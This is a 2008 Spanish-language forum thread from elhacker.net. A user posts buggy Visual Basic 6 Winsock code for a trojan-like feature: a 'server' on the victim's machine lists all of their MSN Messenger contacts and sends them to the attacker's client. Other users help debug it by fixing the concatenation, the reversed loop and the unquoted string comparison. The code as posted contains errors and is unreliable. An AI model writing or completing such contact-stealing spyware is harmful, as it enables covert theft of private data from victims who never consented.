Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: Sai-To en 20 Abril 2008, 22:24 pm



Título: ayuda con el Winsock y envio de contactos
Publicado por: Sai-To en 20 Abril 2008, 22:24 pm
saludos, bueno miren tengo este problema, es el siguiente....

Estoy haciendo un programa que me permite desde el cliente al darle a un command1 este envie por el Ws(Winsock) un dato o orden por decirlo asi, ahora que en el server cuando llegue este cheke si es el dato, pongan que es car, entonces el server ve si es car entonces este lista TODOS los contactos del MSN de la persona en una variable y los envia al cliente y el cliente comprueba que ese dato enviado contiene los contactos y los lista en un listbox ahora... este code esta correcto?

CLIENTE

Código:
Private sub Command1_Click()
ws.SendData car
End sub

SERVER

Código:
Private sub ws_DataArribal(LoQueVaAquixD)
dim dato as string
dim cont as long
dim user as IMessengerContact

ws.getdata dato
if dato = car then
for each user in MsgrUIA.MyContacts
cont = user.SigningName & "|"
next
end if
ws.SendData cont
end sub

CLIENTE


Código:
Private sub ws_DataArribal(LoQueVaAkixD)
dim datos as string
din contactos() As string

ws.GetData datos
if datos = cont then
contactos = Split(datos, "|")
for i = UBound(contactos) to LBound(Contactos)
List1.additem contactos(i)
next
end if
end sub

Sabiendo que lo que hace el code del server es enviar los contactos de la victima al cliente, este los esplitea y los lista en un listbox, ahora es correcto ese code?? y si no  lo es en que me he equivocado y como lo podria solucionar?...


Título: Re: ayuda con el Winsock y envio de contactos
Publicado por: SKL (orignal) en 22 Abril 2008, 05:18 am
es porque estas enviando dato por dato y para enviar todos los contactos, primero los tenes que juntar a todos en 1 variable y despues enviarlo todo junto,.
Cuando llega al Servidor, lo delimitas con un split y los metes dentro del list...

es por eso que no te anda....


sl2


Título: Re: ayuda con el Winsock y envio de contactos
Publicado por: cobein en 22 Abril 2008, 05:27 am
for i = UBound(contactos) to LBound(Contactos)


Título: Re: ayuda con el Winsock y envio de contactos
Publicado por: cassiani en 22 Abril 2008, 17:38 pm
Código
  1. if dato = car then

¿Quien es car? no se supone que es una cadena y ¿entonces porque no esta entre comillas? ...

No coinciden los tipos...  :-\


Título: Re: ayuda con el Winsock y envio de contactos
Publicado por: Sai-To en 22 Abril 2008, 19:48 pm
si, grax, cassiani amigo ya resolvi ciertas cosas tontas que tengo hay! esa fue una! ;)... igualmente grax!"